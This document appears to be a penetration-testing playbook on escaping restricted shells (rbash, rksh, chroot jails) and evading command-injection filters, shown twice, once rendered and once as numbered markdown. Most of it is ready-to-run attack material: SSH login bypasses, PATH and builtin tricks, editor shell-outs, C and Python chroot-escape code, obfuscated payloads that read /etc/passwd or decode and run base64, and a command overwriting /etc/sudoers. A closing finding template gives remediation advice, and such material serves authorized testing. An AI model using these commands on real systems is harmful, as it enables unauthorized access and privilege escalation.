Bypassing Restricted Shells
When to Use
- You land in a limited shell (
rbash, rksh, lshell, /bin/rbash) where cd, /, >, and PATH changes are blocked.
- A vendor appliance, jump host, or kiosk SSH account drops you into a menu or restricted environment.
- You are inside a
chroot jail and need to break out to the real filesystem.
- A web command-injection point filters spaces, slashes, or keywords and you need to smuggle a working command.
Critical: Techniques Most Often Missed
- SSH that never enters the restricted shell — request a different shell or skip profile at login instead of fighting the jail.
ssh -t user@<IP> bash # force an interactive bash directly
ssh user@<IP> -t "bash --noprofile -i"
ssh user@<IP> -t "() { :; }; sh -i " # shellshock-style function trick
- How to CONFIRM:
echo $0 returns bash/sh (not rbash), and cd / then ls / succeeds.
- PATH / declare manipulation to break the read-only PATH — restricted shells set a read-only
PATH; reset it indirectly.declare -n PATH; export PATH=/bin; bash -i
BASH_CMDS[shell]=/bin/bash; shell -i
export PATH="/bin"; SHELL=/bin/bash
- How to CONFIRM: a previously "command not found" binary (e.g.
id, cat) now runs.
- GTFOBins shell-out from any allowed binary — if the menu lets you run
vi, less, man, awk, find, ed, etc., spawn a shell from inside it.:set shell=/bin/sh # inside vi/vim, then:
:shell
- How to CONFIRM: search the binary on https://gtfobins.github.io/ for the "Shell" property, then verify you reach an unrestricted prompt.
- chroot escape needs root inside the jail — two chroots cannot coexist on Linux, so a root-owned process can chroot into a new dir while staying outside it.
// gcc break_chroot.c -o break_chroot ; run inside the jail as root
mkdir("chroot-dir",0755); chroot("chroot-dir");
for(int i=0;i<1000;i++) chdir(".."); chroot("."); system("/bin/bash");
- How to CONFIRM: after running,
ls / shows the real root filesystem (e.g. /etc/shadow present), not the jail.
- Write to a writable+executable path, or overwrite config — when
red/vi can write, drop /bin/bash content into an executable path, or overwrite sudoers.wget http://127.0.0.1:8080/sudoers -O /etc/sudoers # if writable
Workflow
Step 1: Profile the jail
echo $SHELL # what restricted shell are we in
echo $PATH # which dirs are allowed
env ; export ; pwd # exported vars, current dir
echo /home/* # globbing still lists dirs even if ls is blocked
echo $0 # confirm the shell binary (rbash vs bash)
Step 2: Try the cheapest escapes first (SSH / PATH / allowed binary)
# Re-login bypassing the restricted shell entirely
ssh -t user@<IP> bash
ssh user@<IP> -t "bash --noprofile -i"
# Reset PATH from inside if you are already in
declare -n PATH; export PATH=/bin; bash -i
BASH_CMDS[shell]=/bin/bash; shell -i
# Shell out of an allowed editor/pager (GTFOBins)
vi ; then :set shell=/bin/sh and :shell
Step 3: Defeat command/character filters (substitution, quoting, encoding)
# Binary-name obfuscation when keywords are filtered
/usr/bin/who*mi # wildcard
w`u`h`u`o`u`a`u`m`u`i # backtick fake commands -> whoami
who$@ami # $@ separator
'p'i'n'g # quotes
\u\n\a\m\e \-\a # backslashes -> uname -a
# Replace spaces when " " is blocked
cat${IFS}/etc/passwd
{cat,/etc/passwd}
X=$'cat\x20/etc/passwd'&&$X
cat$IFS/etc/passwd
# Build "/" without the slash char
cat ${HOME:0:1}etc${HOME:0:1}passwd
echo ${PATH:0:1} # prints "/"
# Case / reverse / base64 transformations
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") # whoami
$(rev<<<'imaohw') # whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dk) # decode+run base64
echo whoami|$0 # execute via $0
# Hex-encoded paths
cat `xxd -r -p <<< 2f6574632f706173737764` # /etc/passwd
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
Step 4: Builtins-only RCE and chroot breakout
# When only builtins are available, read files / re-exec input
read aaa; eval $aaa # read more commands and run
while read -r line; do echo $line; done < /etc/passwd
source f* # source a flag/file in cwd
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls # /bin/ls from printf
# chroot breakout (root inside jail) - C/Python/Perl variants
python -c 'import os;os.mkdir("d");os.chroot("d");[os.chdir("..") for _ in range(1000)];os.chroot(".");os.system("/bin/bash")'
Key Concepts
| Concept |
Description |
| rbash/rksh |
Restricted shells that block cd, / in commands, PATH edits, and output redirection. |
| PATH escape |
Indirectly reset the read-only PATH via declare -n, BASH_CMDS, or a fresh bash -i. |
| GTFOBins shell-out |
Any allowed binary with a "Shell" function (vi, less, awk, find -exec, ed, man) yields a full shell. |
SSH -t exec |
Specifying a command/--noprofile at login skips the restricted shell startup entirely. |
| Character bypass |
Wildcards, quotes, backslashes, $@, ${IFS}, brace expansion, and uninitialized vars defeat keyword/space filters. |
| Encoding bypass |
base64/hex/tr/rev reconstruct blocked strings at runtime. |
| chroot limitation |
chroot is not a security boundary against root; a second chroot or stored FD escapes the jail. |
| Builtins-only RCE |
read+eval, source, and printf %.1s "$PWD" give execution without external binaries. |
Tools & Systems
| Tool |
Purpose |
| GTFOBins |
Lookup of binaries with shell/file-read/file-write escape primitives. |
| ssh |
-t bash, --noprofile -i, and function-injection tricks to bypass the login shell. |
| vi / less / awk / find / ed / man |
Common allowed binaries that can spawn /bin/sh. |
| bash builtins |
declare, BASH_CMDS, read, eval, source, printf, ${IFS}, brace expansion. |
| Interpreters (python/perl/lua) |
os.system, system(), os.execute; Lua load(string.char(...))(), debug.debug(). |
| chw00t |
Tool that automates several chroot-escape scenarios. |
| Bashfuscator |
Generates obfuscated bash that evades keyword/character filters. |
| scp / wget |
Pull replacement configs (e.g. overwrite /etc/sudoers) when paths are writable. |
Common Scenarios
Scenario 1: rbash jump host escaped via SSH exec
An SSH account drops into rbash with a locked PATH. Reconnecting with ssh user@host -t "bash --noprofile -i" lands an unrestricted bash, confirmed by echo $0 returning bash and cd / working.
Scenario 2: Menu allows only less, escaped via GTFOBins
A restricted appliance lets the operator view logs with less. From the pager, !/bin/sh (a GTFOBins "Shell" primitive) opens a full shell as the service account, enabling further enumeration.
Scenario 3: Web command injection with filtered spaces/keywords
A web parameter reaches system() but strips spaces and the word cat. {cat,/etc/passwd} and who$@ami smuggle the commands past the filter, and bash<<<$(base64 -d<<<...) runs a base64-encoded reverse shell.
Output Format
## Restricted Shell Bypass Finding
**Environment**: SSH account 'support' on jump-01 (restricted shell: rbash)
**Severity**: High
**Finding**: Restricted shell can be escaped to a full interactive shell
**Evidence**:
- Login drops into rbash (`echo $0` -> rbash; `cd /` -> "restricted")
- `ssh support@jump-01 -t "bash --noprofile -i"` -> full bash
- Post-escape: `id` -> uid=1003(support); `cat /etc/passwd` readable
**Impact**: The restricted account provides unrestricted command execution on the jump host, defeating the intended containment and enabling lateral movement and local privilege-escalation enumeration.
**Recommendation**:
1. Disable command/pseudo-tty execution for restricted accounts (`ForceCommand`, no `-t` shell) and set `PermitTTY no` where appropriate.
2. Remove shell-capable binaries (vi/less/awk/find with -exec) from the restricted PATH, or replace with no-shell wrappers.
3. Lock PATH and shell builtins; do not rely on chroot alone for untrusted-root containment.
4. Prefer purpose-built restricted environments (forced commands, containers, MFA) over rbash.
1---2name: bypassing-restricted-shells3description: Escaping restricted/limited shells (rbash, rksh, lshell, chroot jails) and command-execution filters during authorized engagements - using interactive command launchers, environment/PATH abuse, command substitution and quoting/encoding tricks, SSH/SCP exec, GTFOBins, and language interpreters to regain a full shell.4license: Apache-2.05---67# Bypassing Restricted Shells89## When to Use10- You land in a limited shell (`rbash`, `rksh`, `lshell`, `/bin/rbash`) where `cd`, `/`, `>`, and `PATH` changes are blocked.11- A vendor appliance, jump host, or kiosk SSH account drops you into a menu or restricted environment.12- You are inside a `chroot` jail and need to break out to the real filesystem.13- A web command-injection point filters spaces, slashes, or keywords and you need to smuggle a working command.1415## Critical: Techniques Most Often Missed16- **SSH that never enters the restricted shell** — request a different shell or skip profile at login instead of fighting the jail.17 ```bash18 ssh -t user@<IP> bash # force an interactive bash directly19 ssh user@<IP> -t "bash --noprofile -i"20 ssh user@<IP> -t "() { :; }; sh -i " # shellshock-style function trick21 ```22 - How to CONFIRM: `echo $0` returns `bash`/`sh` (not `rbash`), and `cd /` then `ls /` succeeds.23- **PATH / declare manipulation to break the read-only PATH** — restricted shells set a read-only `PATH`; reset it indirectly.24 ```bash25 declare -n PATH; export PATH=/bin; bash -i26 BASH_CMDS[shell]=/bin/bash; shell -i27 export PATH="/bin"; SHELL=/bin/bash28 ```29 - How to CONFIRM: a previously "command not found" binary (e.g. `id`, `cat`) now runs.30- **GTFOBins shell-out from any allowed binary** — if the menu lets you run `vi`, `less`, `man`, `awk`, `find`, `ed`, etc., spawn a shell from inside it.31 ```bash32 :set shell=/bin/sh # inside vi/vim, then:33 :shell34 ```35 - How to CONFIRM: search the binary on https://gtfobins.github.io/ for the "Shell" property, then verify you reach an unrestricted prompt.36- **chroot escape needs root inside the jail** — two chroots cannot coexist on Linux, so a root-owned process can chroot into a new dir while staying outside it.37 ```c38 // gcc break_chroot.c -o break_chroot ; run inside the jail as root39 mkdir("chroot-dir",0755); chroot("chroot-dir");40 for(int i=0;i<1000;i++) chdir(".."); chroot("."); system("/bin/bash");41 ```42 - How to CONFIRM: after running, `ls /` shows the real root filesystem (e.g. `/etc/shadow` present), not the jail.43- **Write to a writable+executable path, or overwrite config** — when `red`/`vi` can write, drop `/bin/bash` content into an executable path, or overwrite `sudoers`.44 ```bash45 wget http://127.0.0.1:8080/sudoers -O /etc/sudoers # if writable46 ```4748## Workflow4950### Step 1: Profile the jail51```bash52echo $SHELL # what restricted shell are we in53echo $PATH # which dirs are allowed54env ; export ; pwd # exported vars, current dir55echo /home/* # globbing still lists dirs even if ls is blocked56echo $0 # confirm the shell binary (rbash vs bash)57```5859### Step 2: Try the cheapest escapes first (SSH / PATH / allowed binary)60```bash61# Re-login bypassing the restricted shell entirely62ssh -t user@<IP> bash63ssh user@<IP> -t "bash --noprofile -i"6465# Reset PATH from inside if you are already in66declare -n PATH; export PATH=/bin; bash -i67BASH_CMDS[shell]=/bin/bash; shell -i6869# Shell out of an allowed editor/pager (GTFOBins)70vi ; then :set shell=/bin/sh and :shell71```7273### Step 3: Defeat command/character filters (substitution, quoting, encoding)74```bash75# Binary-name obfuscation when keywords are filtered76/usr/bin/who*mi # wildcard77w`u`h`u`o`u`a`u`m`u`i # backtick fake commands -> whoami78who$@ami # $@ separator79'p'i'n'g # quotes80\u\n\a\m\e \-\a # backslashes -> uname -a8182# Replace spaces when " " is blocked83cat${IFS}/etc/passwd84{cat,/etc/passwd}85X=$'cat\x20/etc/passwd'&&$X86cat$IFS/etc/passwd8788# Build "/" without the slash char89cat ${HOME:0:1}etc${HOME:0:1}passwd90echo ${PATH:0:1} # prints "/"9192# Case / reverse / base64 transformations93$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") # whoami94$(rev<<<'imaohw') # whoami95bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dk) # decode+run base6496echo whoami|$0 # execute via $09798# Hex-encoded paths99cat `xxd -r -p <<< 2f6574632f706173737764` # /etc/passwd100echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"101```102103### Step 4: Builtins-only RCE and chroot breakout104```bash105# When only builtins are available, read files / re-exec input106read aaa; eval $aaa # read more commands and run107while read -r line; do echo $line; done < /etc/passwd108source f* # source a flag/file in cwd109$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls # /bin/ls from printf110111# chroot breakout (root inside jail) - C/Python/Perl variants112python -c 'import os;os.mkdir("d");os.chroot("d");[os.chdir("..") for _ in range(1000)];os.chroot(".");os.system("/bin/bash")'113```114115## Key Concepts116| Concept | Description |117|---------|-------------|118| **rbash/rksh** | Restricted shells that block `cd`, `/` in commands, `PATH` edits, and output redirection. |119| **PATH escape** | Indirectly reset the read-only `PATH` via `declare -n`, `BASH_CMDS`, or a fresh `bash -i`. |120| **GTFOBins shell-out** | Any allowed binary with a "Shell" function (`vi`, `less`, `awk`, `find -exec`, `ed`, `man`) yields a full shell. |121| **SSH `-t` exec** | Specifying a command/`--noprofile` at login skips the restricted shell startup entirely. |122| **Character bypass** | Wildcards, quotes, backslashes, `$@`, `${IFS}`, brace expansion, and uninitialized vars defeat keyword/space filters. |123| **Encoding bypass** | base64/hex/`tr`/`rev` reconstruct blocked strings at runtime. |124| **chroot limitation** | chroot is not a security boundary against root; a second chroot or stored FD escapes the jail. |125| **Builtins-only RCE** | `read`+`eval`, `source`, and `printf %.1s "$PWD"` give execution without external binaries. |126127## Tools & Systems128| Tool | Purpose |129|------|---------|130| **GTFOBins** | Lookup of binaries with shell/file-read/file-write escape primitives. |131| **ssh** | `-t bash`, `--noprofile -i`, and function-injection tricks to bypass the login shell. |132| **vi / less / awk / find / ed / man** | Common allowed binaries that can spawn `/bin/sh`. |133| **bash builtins** | `declare`, `BASH_CMDS`, `read`, `eval`, `source`, `printf`, `${IFS}`, brace expansion. |134| **Interpreters (python/perl/lua)** | `os.system`, `system()`, `os.execute`; Lua `load(string.char(...))()`, `debug.debug()`. |135| **chw00t** | Tool that automates several chroot-escape scenarios. |136| **Bashfuscator** | Generates obfuscated bash that evades keyword/character filters. |137| **scp / wget** | Pull replacement configs (e.g. overwrite `/etc/sudoers`) when paths are writable. |138139## Common Scenarios140### Scenario 1: rbash jump host escaped via SSH exec141An SSH account drops into `rbash` with a locked `PATH`. Reconnecting with `ssh user@host -t "bash --noprofile -i"` lands an unrestricted bash, confirmed by `echo $0` returning `bash` and `cd /` working.142143### Scenario 2: Menu allows only `less`, escaped via GTFOBins144A restricted appliance lets the operator view logs with `less`. From the pager, `!/bin/sh` (a GTFOBins "Shell" primitive) opens a full shell as the service account, enabling further enumeration.145146### Scenario 3: Web command injection with filtered spaces/keywords147A web parameter reaches `system()` but strips spaces and the word `cat`. `{cat,/etc/passwd}` and `who$@ami` smuggle the commands past the filter, and `bash<<<$(base64 -d<<<...)` runs a base64-encoded reverse shell.148149## Output Format150```151## Restricted Shell Bypass Finding152153**Environment**: SSH account 'support' on jump-01 (restricted shell: rbash)154**Severity**: High155**Finding**: Restricted shell can be escaped to a full interactive shell156**Evidence**:157 - Login drops into rbash (`echo $0` -> rbash; `cd /` -> "restricted")158 - `ssh support@jump-01 -t "bash --noprofile -i"` -> full bash159 - Post-escape: `id` -> uid=1003(support); `cat /etc/passwd` readable160**Impact**: The restricted account provides unrestricted command execution on the jump host, defeating the intended containment and enabling lateral movement and local privilege-escalation enumeration.161**Recommendation**:162 1. Disable command/pseudo-tty execution for restricted accounts (`ForceCommand`, no `-t` shell) and set `PermitTTY no` where appropriate.163 2. Remove shell-capable binaries (vi/less/awk/find with -exec) from the restricted PATH, or replace with no-shell wrappers.164 3. Lock PATH and shell builtins; do not rely on chroot alone for untrusted-root containment.165 4. Prefer purpose-built restricted environments (forced commands, containers, MFA) over rbash.166```